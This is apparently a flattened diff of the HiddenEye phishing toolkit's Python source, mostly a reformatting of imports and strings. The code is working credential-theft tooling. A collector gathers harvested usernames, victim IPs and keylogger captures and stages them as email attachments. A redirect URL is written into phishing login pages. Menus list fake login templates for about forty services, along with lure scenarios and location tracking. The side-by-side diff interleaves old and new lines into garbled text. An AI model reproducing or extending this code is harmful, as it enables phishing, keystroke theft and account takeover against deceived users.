print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"]) lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
custom = input(localization.lang_enter_custom_redirecting_url["redirect_here"]) print(localization.
if 'http://' in custom or 'https://' in custom: lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
custom = input(
localization.lang_enter_custom_redirecting_url["redirect_here"])
if "http://" in custom or "https://" in custom:
pass pass
else: else:
custom = 'http://' + custom custom = "http://" + custom
if path.exists('Server/www/js/location.js'): # For Location (gdrive) Template Redirection. # For Location (gdrive) Template Redirection.
with open('Server/www/js/location.js') as f: if path.exists("Server/www/js/location.js"):
with open("Server/www/js/location.js") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('<CUSTOM>', custom) c = read_data.replace("<CUSTOM>", custom)
f = open('Server/www/js/location.js', 'w') f = open("Server/www/js/location.js", "w")
f.write(c) f.write(c)
f.close() f.close()
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'): if path.exists("Server/www/post.php") and path.exists(
with open('Server/www/login.php') as f: "Server/www/login.php"):
with open("Server/www/login.php") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('<CUSTOM>', custom) c = read_data.replace("<CUSTOM>", custom)
f = open('Server/www/login.php', 'w') f = open("Server/www/login.php", "w")
f.write(c) f.write(c)
f.close() f.close()
with open('Server/www/post.php') as f: with open("Server/www/post.php") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('<CUSTOM>', custom) c = read_data.replace("<CUSTOM>", custom)
f = open('Server/www/post.php', 'w') f = open("Server/www/post.php", "w")
f.write(c) f.write(c)
f.close() f.close()
else: else:
try: try:
with open('Server/www/login.php') as f: with open("Server/www/login.php") as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('<CUSTOM>', custom) c = read_data.replace("<CUSTOM>", custom)
f = open('Server/www/login.php', 'w') f = open("Server/www/login.php", "w")
f.write(c) f.write(c)
f.close() f.close()
except FileNotFoundError: except FileNotFoundError:
@ -413,5 +445,7 @@ def enter_custom_redirecting_url(): # Question where user can input custom web-
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
print("[^] ERROR: Please make sure your folder contains a valid login.php file.") print(
"[^] ERROR: Please make sure your folder contains a valid login.php file."
)
exit() exit()

View File

@ -4,13 +4,23 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket, regular_expression
import Defs.ThemeManager.theme as theme
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_runner as server_runner import Defs.ActionManager.Server.server_runner as server_runner
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization
import Defs.LocalizationManager.lang_global_usage as global_localization import Defs.LocalizationManager.lang_global_usage as global_localization
import Defs.ThemeManager.theme as theme
from Defs.ImportManager.unsorted_will_be_replaced import chmod
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
from Defs.ImportManager.unsorted_will_be_replaced import getuid
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
from Defs.ImportManager.unsorted_will_be_replaced import platform
from Defs.ImportManager.unsorted_will_be_replaced import regular_expression
from Defs.ImportManager.unsorted_will_be_replaced import requests
from Defs.ImportManager.unsorted_will_be_replaced import run_command
from Defs.ImportManager.unsorted_will_be_replaced import socket
from Defs.ImportManager.unsorted_will_be_replaced import stat
from Defs.ImportManager.unsorted_will_be_replaced import try_to_run_command
from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette default_palette = theme.default_palette
@ -23,20 +33,20 @@ def license_handler():
""" """
eula = pathlib_Path("eula.txt") eula = pathlib_Path("eula.txt")
if eula.exists(): if eula.exists():
eula = eula.open('r') eula = eula.open("r")
with open('eula.txt', 'r') as f: with open("eula.txt", "r") as f:
if 'eula = True' in f.read(): if "eula = True" in f.read():
print('Found your license agreement, proceeding...') print("Found your license agreement, proceeding...")
return True return True
else: else:
print('Please read and accept license.') print("Please read and accept license.")
return False return False
else: else:
eula.touch(mode=0o777, exist_ok=True) eula.touch(mode=0o777, exist_ok=True)
eula = open('eula.txt', 'w') eula = open("eula.txt", "w")
eula.write(localization.write_eula + "eula = False") eula.write(localization.write_eula + "eula = False")
eula.close() eula.close()
print('Please accept EULA.') print("Please accept EULA.")
return False return False
@ -51,28 +61,31 @@ def exit_message(port = 80): # Message when HiddenEye exit
""" """
choice = input(localization.lang_exit_message["choice"]) choice = input(localization.lang_exit_message["choice"])
choice.lower() choice.lower()
if choice == 'r': if choice == "r":
run_command(['sudo', 'python3', 'HiddenEye.py']) run_command(["sudo", "python3", "HiddenEye.py"])
elif choice == 'm': elif choice == "m":
email_prompt.captured_data_email_confirmation(port) email_prompt.captured_data_email_confirmation(port)
elif choice == 's': elif choice == "s":
server_runner.server_selection(port) server_runner.server_selection(port)
elif choice == 'x': elif choice == "x":
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(' ' + global_localization.by_darksec) print(" " + global_localization.by_darksec)
print(' ' + global_localization.official_website_link) print(" " +
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"]) print(localization.lang_exit_message["tell_if_page_got_broken"])
print(localization.lang_exit_message["make_your_pull_request_or_issue"]) print(
localization.lang_exit_message["make_your_pull_request_or_issue"])
print(localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["financial_support"])
print(localization.lang_exit_message["thank_you"]) print(localization.lang_exit_message["thank_you"])
else: else:
run_command('clear') run_command("clear")
return exit_message(port) return exit_message(port)
def terms_of_service_message(): def terms_of_service_message():
"""Requests user to provide agreement to license provided. """Requests user to provide agreement to license provided.
@ -82,21 +95,27 @@ def terms_of_service_message():
agreement = license_handler() agreement = license_handler()
if not agreement: if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"]) print(localization.lang_terms_of_service_message["GPL_3.0"])
print(localization.lang_terms_of_service_message["great_power_great_responsibility"]) print(
print(localization.lang_terms_of_service_message["do_you_accept_license"]) localization.
print(localization.lang_terms_of_service_message["enter_this_to_confirm"]) lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.
lang_terms_of_service_message["do_you_accept_license"])
print(localization.
lang_terms_of_service_message["enter_this_to_confirm"])
agreement = input(global_localization.input_line) agreement = input(global_localization.input_line)
if localization.text_to_confirm_license not in agreement: if localization.text_to_confirm_license not in agreement:
print(localization.lang_terms_of_service_message["you_are_not_allowed"]) print(localization.
lang_terms_of_service_message["you_are_not_allowed"])
exit() exit()
else: else:
eula = open('eula.txt', 'w') eula = open("eula.txt", "w")
eula.write(localization.write_eula + "eula = True") eula.write(localization.write_eula + "eula = True")
eula.close() eula.close()
return True return True
else: else:
return True return True
def module_loading_message(option_name): # This one just show text.. def module_loading_message(option_name): # This one just show text..
"""Prints "Select any mode" message. """ """Prints "Select any mode" message. """
print(option_name + localization.lang_module_loading_message["is_loaded"]) print(option_name + localization.lang_module_loading_message["is_loaded"])
@ -107,60 +126,83 @@ def credentials_collector():
"""Collects, writes and returns credentials and additional info gathered from target.""" """Collects, writes and returns credentials and additional info gathered from target."""
print(localization.lang_credentials_collector["waiting_for_interaction"]) print(localization.lang_credentials_collector["waiting_for_interaction"])
while True: while True:
with open('Server/www/usernames.txt') as creds: with open("Server/www/usernames.txt") as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True) lang_credentials_collector["credentials_found"] +
captured_usernames = open('Server/CapturedData/usernames.txt', 'a') "{0}{2}{1}".format(default_palette[2],
new_usernames = open('Server/www/usernames.txt') default_palette[3], lines))
pathlib_Path("Server/CapturedData/usernames.txt").touch(
mode=0o777, exist_ok=True)
captured_usernames = open("Server/CapturedData/usernames.txt",
"a")
new_usernames = open("Server/www/usernames.txt")
captured_usernames.write(new_usernames.read()) captured_usernames.write(new_usernames.read())
new_usernames.close() new_usernames.close()
captured_usernames.close() captured_usernames.close()
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt') copyfile(
"Server/CapturedData/usernames.txt",
"Defs/FeatureManager/EmailManager/attachments/usernames.txt",
)
new_usernames = open('Server/www/usernames.txt', 'w') new_usernames = open("Server/www/usernames.txt", "w")
new_usernames.write('') new_usernames.write("")
new_usernames.close() new_usernames.close()
with open('Server/www/ip.txt') as creds: with open("Server/www/ip.txt") as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True) lang_credentials_collector["device_details_found"] +
captured_ips = open('Server/CapturedData/ip.txt', 'a') "{0}{2}{1}".format(default_palette[2],
new_ips = open('Server/www/ip.txt') default_palette[3], lines))
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777,
exist_ok=True)
captured_ips = open("Server/CapturedData/ip.txt", "a")
new_ips = open("Server/www/ip.txt")
captured_ips.write(new_ips.read()) captured_ips.write(new_ips.read())
new_ips.close() new_ips.close()
captured_ips.close() captured_ips.close()
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt') copyfile(
new_ips = open('Server/www/ip.txt', 'w') "Server/CapturedData/ip.txt",
new_ips.write('') "Defs/FeatureManager/EmailManager/attachments/ip.txt",
)
new_ips = open("Server/www/ip.txt", "w")
new_ips.write("")
new_ips.close() new_ips.close()
creds.close() creds.close()
with open('Server/www/KeyloggerData.txt') as creds: with open("Server/www/KeyloggerData.txt") as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(global_localization.line_of_dots) log_writer(global_localization.line_of_dots)
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True) lang_credentials_collector["getting_pressed_keys"] +
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a') "{0}{2}{1}".format(default_palette[2],
new_keys = open('Server/www/KeyloggerData.txt') default_palette[3], lines))
pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
mode=0o777, exist_ok=True)
captured_keys = open("Server/CapturedData/KeyloggerData.txt",
"a")
new_keys = open("Server/www/KeyloggerData.txt")
captured_keys.write(new_keys.read()) captured_keys.write(new_keys.read())
new_keys.close() new_keys.close()
captured_keys.close() captured_keys.close()
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt') copyfile(
new_keys = open('Server/www/KeyloggerData.txt', 'w') "Server/CapturedData/KeyloggerData.txt",
new_keys.write('') "Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt",
)
new_keys = open("Server/www/KeyloggerData.txt", "w")
new_keys.write("")
new_keys.close() new_keys.close()
log_writer(global_localization.line_of_dots) log_writer(global_localization.line_of_dots)
creds.close() creds.close()
def log_writer(ctx): # Writing log def log_writer(ctx): # Writing log
"""I have no idea what it does, someone does, so if you are reading this - explain wtf is this method... """I have no idea what it does, someone does, so if you are reading this - explain wtf is this method...
@ -168,16 +210,20 @@ def log_writer(ctx): # Writing log
ctx ([type]): [description] ctx ([type]): [description]
""" """
logFile = open("log.txt", "w") logFile = open("log.txt", "w")
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n") logFile.write(
ctx.replace(default_palette[0], "").replace(
default_palette[1], "").replace(default_palette[2], "").replace(
default_palette[3], "").replace(default_palette[4], "") + "\n")
print(ctx) print(ctx)
def port_selector(): # Requests port input from user def port_selector(): # Requests port input from user
"""Asks user to input number between 1 and 65535. """Asks user to input number between 1 and 65535.
Returns: Returns:
string: Returns any number entered if it's between 1 and 65535, if it's not - asks for number again. string: Returns any number entered if it's between 1 and 65535, if it's not - asks for number again.
""" """
run_command('clear') run_command("clear")
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
@ -194,6 +240,7 @@ def port_selector(): # Requests port input from user
except: except:
return port_selector() return port_selector()
def remove_readonly(func, path, _): def remove_readonly(func, path, _):
"""Removes read-only state of file (IDK why it exists but it does already, so...) """Removes read-only state of file (IDK why it exists but it does already, so...)
@ -214,8 +261,9 @@ def global_message():
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
def verify_connection(host='https://dark-sec-official.com'): # Connection check def verify_connection(
run_command('clear') host="https://dark-sec-official.com"): # Connection check
run_command("clear")
try: try:
req = requests.get(host, timeout=25) req = requests.get(host, timeout=25)
if req.status_code == 200: if req.status_code == 200:
@ -227,6 +275,7 @@ def verify_connection(host='https://dark-sec-official.com'): # Connection check
print(localization.lang_verify_connection["verify_your_connection"]) print(localization.lang_verify_connection["verify_your_connection"])
exit() exit()
def check_permissions(): def check_permissions():
if check_platform("system") == "Linux": if check_platform("system") == "Linux":
if getuid() == 0: if getuid() == 0:
@ -235,14 +284,16 @@ def check_permissions():
print(localization.lang_check_permissions["permissions_denied"]) print(localization.lang_check_permissions["permissions_denied"])
exit() exit()
def check_php(): def check_php():
try: try:
try_to_run_command(['php', '-v']) try_to_run_command(["php", "-v"])
print(localization.lang_check_php["found"]) print(localization.lang_check_php["found"])
except: except:
print(localization.lang_check_php["not-found"]) print(localization.lang_check_php["not-found"])
exit() exit()
def check_platform(required_data): def check_platform(required_data):
"""Checks system for specific platform related data and returns requested value. """Checks system for specific platform related data and returns requested value.

View File

@ -4,19 +4,36 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import base64
import getpass
from subprocess import call as run_command, check_call as try_to_run_command ,Popen as run_background_command, check_output, CalledProcessError, DEVNULL, PIPE
from distutils.dir_util import copy_tree as webpage_set
from time import sleep as wait
from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid
from shutil import rmtree, copyfile
from pathlib import Path as pathlib_Path
from pyngrok import conf as ngrok_conf, ngrok
import re as regular_expression
import getpass, base64, socket, requests
import platform import platform
import requests import re as regular_expression
import socket
from distutils.dir_util import copy_tree as webpage_set
from io import BytesIO
from os import chdir
from os import chmod
from os import getuid
from os import mkdir
from os import path
from os import remove
from os import replace
from os import stat
from os import system
from pathlib import Path as pathlib_Path
from shutil import copyfile
from shutil import rmtree
from subprocess import call as run_command
from subprocess import CalledProcessError
from subprocess import check_call as try_to_run_command
from subprocess import check_output
from subprocess import DEVNULL
from subprocess import PIPE
from subprocess import Popen as run_background_command
from time import sleep as wait
from urllib import request as url_request from urllib import request as url_request
from zipfile import ZipFile from zipfile import ZipFile
from io import BytesIO
import requests
from pyngrok import conf as ngrok_conf
from pyngrok import ngrok

View File

@ -4,78 +4,192 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
# Contains all ActionManager/main_runner.py translation strings # Contains all ActionManager/main_runner.py translation strings
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _ from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette default_palette = theme.default_palette
def check_version(): # WILL BE MOVED FROM HERE def check_version(): # WILL BE MOVED FROM HERE
with open('version.txt') as f: # THIS WILL BE MOVED TOO with open("version.txt") as f: # THIS WILL BE MOVED TOO
# ver_current = f.read() # DONT REMOVE THESE COMMENTS # ver_current = f.read() # DONT REMOVE THESE COMMENTS
# version = ver_current.strip() # TO-DO # version = ver_current.strip() # TO-DO
return f.read().strip() return f.read().strip()
version = check_version() version = check_version()
lang_start_main_menu = { lang_start_main_menu = {
"version_by_darksec": _(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}").format(default_palette[4], default_palette[2], default_palette[0], version), "version_by_darksec":
"short_description": _("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(default_palette[2],default_palette[0]), _(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}"
"features_summary" : _("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]").format(default_palette[2], default_palette[0]), ).format(default_palette[4], default_palette[2], default_palette[0],
"down_line" : "{0}________________________________________________________________________________".format(default_palette[0]), version),
"attack_vector_message" : _("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"), "short_description":
"phishing_modules_header" : _("\n{0}PHISHING-MODULES:").format(default_palette[0]), _("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(
"phishing_modules_list" : default_palette[2], default_palette[0]),
[ ['{0}[{1}01{0}]{1} Facebook', '{0}[{1}13{0}]{1} Steam', '{0}[{1}25{0}]{1} Badoo', '{0}[{1}37{0}]{1} PlayStation'], "features_summary":
['{0}[{1}02{0}]{1} Google', '{0}[{1}14{0}]{1} VK', '{0}[{1}26{0}]{1} CryptoCurrency', '{0}[{1}38{0}]{1} Xbox'], _("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]"
['{0}[{1}03{0}]{1} LinkedIn', '{0}[{1}15{0}]{1} iCloud', '{0}[{1}27{0}]{1} DevianArt', '{0}[{1}39{0}]{1} CUSTOM(1)'], ).format(default_palette[2], default_palette[0]),
['{0}[{1}04{0}]{1} GitHub', '{0}[{1}16{0}]{1} GitLab', '{0}[{1}28{0}]{1} DropBox', '{0}[{1}40{0}]{1} CUSTOM(2)'], "down_line":
['{0}[{1}05{0}]{1} StackOverflow', '{0}[{1}17{0}]{1} Netflix', '{0}[{1}29{0}]{1} eBay'], "{0}________________________________________________________________________________"
['{0}[{1}06{0}]{1} WordPress', '{0}[{1}18{0}]{1} Origin', '{0}[{1}30{0}]{1} MySpace'], .format(default_palette[0]),
['{0}[{1}07{0}]{1} Twitter', '{0}[{1}19{0}]{1} Pinterest', '{0}[{1}31{0}]{1} PayPal'], "attack_vector_message":
['{0}[{1}08{0}]{1} Instagram', '{0}[{1}20{0}]{1} ProtonMail', '{0}[{1}32{0}]{1} Shopify'], _("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"
['{0}[{1}09{0}]{1} Snapchat', '{0}[{1}21{0}]{1} Spotify', '{0}[{1}33{0}]{1} Verizon'], ),
['{0}[{1}10{0}]{1} Yahoo', '{0}[{1}22{0}]{1} Quora', '{0}[{1}34{0}]{1} Yandex'], "phishing_modules_header":
['{0}[{1}11{0}]{1} Twitch', '{0}[{1}23{0}]{1} PornHub', '{0}[{1}35{0}]{1} Reddit'], _("\n{0}PHISHING-MODULES:").format(default_palette[0]),
['{0}[{1}12{0}]{1} Microsoft', '{0}[{1}24{0}]{1} Adobe', '{0}[{1}36{0}]{1} Subito.it']], "phishing_modules_list": [
"additional_modules" : _("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]), [
"additional_modules_list" : "{0}[{1}01{0}]{1} Facebook",
[ [_('{0}[{1}0A{0}]{1} Get Target Location')]], "{0}[{1}13{0}]{1} Steam",
"operation_mode" : _("\nOperation mode:\n"), "{0}[{1}25{0}]{1} Badoo",
"facebook_operation_modes" : "{0}[{1}37{0}]{1} PlayStation",
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)')], ],
[_('{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)'), _('{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)')]], [
"google_operation_modes" : "{0}[{1}02{0}]{1} Google",
[ [_('{0}[{1}1{0}]{1} Standard Page Phishing'), _('{0}[{1}3{0}]{1} New Google Web')], "{0}[{1}14{0}]{1} VK",
[_('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]], "{0}[{1}26{0}]{1} CryptoCurrency",
"instagram_operation_modes" : "{0}[{1}38{0}]{1} Xbox",
[ [_('{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing'), _('{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)')], ],
[_('{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)'), _('{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)')], [
[_('{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)')]], "{0}[{1}03{0}]{1} LinkedIn",
"VK_operation_modes" : "{0}[{1}15{0}]{1} iCloud",
[ [_('{0}[{1}1{0}]{1} Standard VK Web Page Phishing'), _('{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)')]], "{0}[{1}27{0}]{1} DevianArt",
"reddit_operation_modes" : "{0}[{1}39{0}]{1} CUSTOM(1)",
[ [_('{0}[{1}1{0}]{1} New reddit page'), _('{0}[{1}2{0}]{1} Old reddit page')]], ],
"additional_module_location_operation_modes" : [
[ [_('{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)'), _('{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)')]] "{0}[{1}04{0}]{1} GitHub",
"{0}[{1}16{0}]{1} GitLab",
"{0}[{1}28{0}]{1} DropBox",
"{0}[{1}40{0}]{1} CUSTOM(2)",
],
[
"{0}[{1}05{0}]{1} StackOverflow",
"{0}[{1}17{0}]{1} Netflix",
"{0}[{1}29{0}]{1} eBay",
],
[
"{0}[{1}06{0}]{1} WordPress",
"{0}[{1}18{0}]{1} Origin",
"{0}[{1}30{0}]{1} MySpace",
],
[
"{0}[{1}07{0}]{1} Twitter",
"{0}[{1}19{0}]{1} Pinterest",
"{0}[{1}31{0}]{1} PayPal",
],
[
"{0}[{1}08{0}]{1} Instagram",
"{0}[{1}20{0}]{1} ProtonMail",
"{0}[{1}32{0}]{1} Shopify",
],
[
"{0}[{1}09{0}]{1} Snapchat",
"{0}[{1}21{0}]{1} Spotify",
"{0}[{1}33{0}]{1} Verizon",
],
[
"{0}[{1}10{0}]{1} Yahoo", "{0}[{1}22{0}]{1} Quora",
"{0}[{1}34{0}]{1} Yandex"
],
[
"{0}[{1}11{0}]{1} Twitch",
"{0}[{1}23{0}]{1} PornHub",
"{0}[{1}35{0}]{1} Reddit",
],
[
"{0}[{1}12{0}]{1} Microsoft",
"{0}[{1}24{0}]{1} Adobe",
"{0}[{1}36{0}]{1} Subito.it",
],
],
"additional_modules":
_("\n{0}ADDITIONAL-TOOLS:").format(default_palette[0]),
"additional_modules_list": [[_("{0}[{1}0A{0}]{1} Get Target Location")]],
"operation_mode":
_("\nOperation mode:\n"),
"facebook_operation_modes": [
[
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
_("{0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode)"
),
],
[
_("{0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)"
),
_("{0}[{1}4{0}]{1} Facebook Phishing-Messenger Credentials(messenger_mode)"
),
],
],
"google_operation_modes": [
[
_("{0}[{1}1{0}]{1} Standard Page Phishing"),
_("{0}[{1}3{0}]{1} New Google Web"),
],
[_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)")],
],
"instagram_operation_modes": [
[
_("{0}[{1}1{0}]{1} Standard Instagram Web Page Phishing"),
_("{0}[{1}4{0}]{1} Instagram Verified Badge Attack (Lure To Get Blue Badge)"
),
],
[
_("{0}[{1}2{0}]{1} Instagram Autoliker Phishing (To Lure The Users)"
),
_("{0}[{1}5{0}]{1} Instafollower (Lure To Get More Followers)"),
],
[
_("{0}[{1}3{0}]{1} Instagram Advanced Scenario (Appears as Instagram Profile)"
)
],
],
"VK_operation_modes": [[
_("{0}[{1}1{0}]{1} Standard VK Web Page Phishing"),
_("{0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)"),
]],
"reddit_operation_modes": [[
_("{0}[{1}1{0}]{1} New reddit page"),
_("{0}[{1}2{0}]{1} Old reddit page")
]],
"additional_module_location_operation_modes": [[
_("{0}[{1}1{0}]{1} NEAR YOU (Webpage Looks Like Legitimate)"),
_("{0}[{1}2{0}]{1} GDRIVE (Asks For Location Permission To redirect GDRIVE)"
),
]],
} }
lang_start_phishing_page = { lang_start_phishing_page = {
"custom_folder_directory" : _('\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}').format(default_palette[0], default_palette[4], page = 'page'), "custom_folder_directory":
"manual_reading_suggestion" : _('\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]').format(default_palette[0], default_palette[4], page = 'page'), _("\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}").
"press_enter_to_continue_if_setup_correctly" : _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]), format(default_palette[0], default_palette[4], page="page"),
"copying_your_files" : _('\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...').format(default_palette[0], default_palette[4]), "manual_reading_suggestion":
"https_suggestion" : _("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n").format(default_palette[0], default_palette[4]), _("\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]"
"gdrive_suggestion" : _('{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.').format(default_palette[0], default_palette[4]) ).format(default_palette[0], default_palette[4], page="page"),
"press_enter_to_continue_if_setup_correctly":
_("\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue."
).format(default_palette[0], default_palette[4]),
"copying_your_files":
_("\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...").format(
default_palette[0], default_palette[4]),
"https_suggestion":
_("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n"
).format(default_palette[0], default_palette[4]),
"gdrive_suggestion":
_("{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked."
).format(default_palette[0], default_palette[4]),
} }
lang_enter_custom_redirecting_url = { lang_enter_custom_redirecting_url = {
"enter_redirecting_url_header" : _('{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "enter_redirecting_url_header":
"enter_redirecting_url_prompt" : _('\n{0}[{1}*{0}]Insert a custom redirect url:').format(default_palette[0], default_palette[4]), _("{0}\n-------------------------------\n{1}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------"
"redirect_here" : _('\n{0}REDIRECT HERE>>> {1}').format(default_palette[0], default_palette[2]) ).format(default_palette[0], default_palette[2]),
"enter_redirecting_url_prompt":
_("\n{0}[{1}*{0}]Insert a custom redirect url:").format(
default_palette[0], default_palette[4]),
"redirect_here":
_("\n{0}REDIRECT HERE>>> {1}").format(default_palette[0],
default_palette[2]),
} }
# #

View File

@ -4,56 +4,115 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _ from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette default_palette = theme.default_palette
lang_server_selection = { lang_server_selection = {
"server_selection" : _('{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "server_selection":
"select_any_available_server" : _('\n {0}[{1}*{0}]{0}Select Any Available Server:{1}').format(default_palette[0], default_palette[4]), _("{0}[ HOSTING SERVER SELECTION ]{1}! {0}\n-------------------------------"
"servers_list" : ).format(default_palette[0], default_palette[2]),
[ ['{0}[{1}00{0}]{1}Localhost', '{0}[{1}04{0}]{1}Localtunnel (not working now)'], "select_any_available_server":
['{0}[{1}01{0}]{1}Ngrok', '{0}[{1}05{0}]{1}OpenPort (not working now)'], _("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format(
['{0}[{1}02{0}]{1}Serveo', '{0}[{1}06{0}]{1}Pagekite (not working now)'], default_palette[0], default_palette[4]),
['{0}[{1}03{0}]{1}Localxpose (not working now)']] "servers_list": [
[
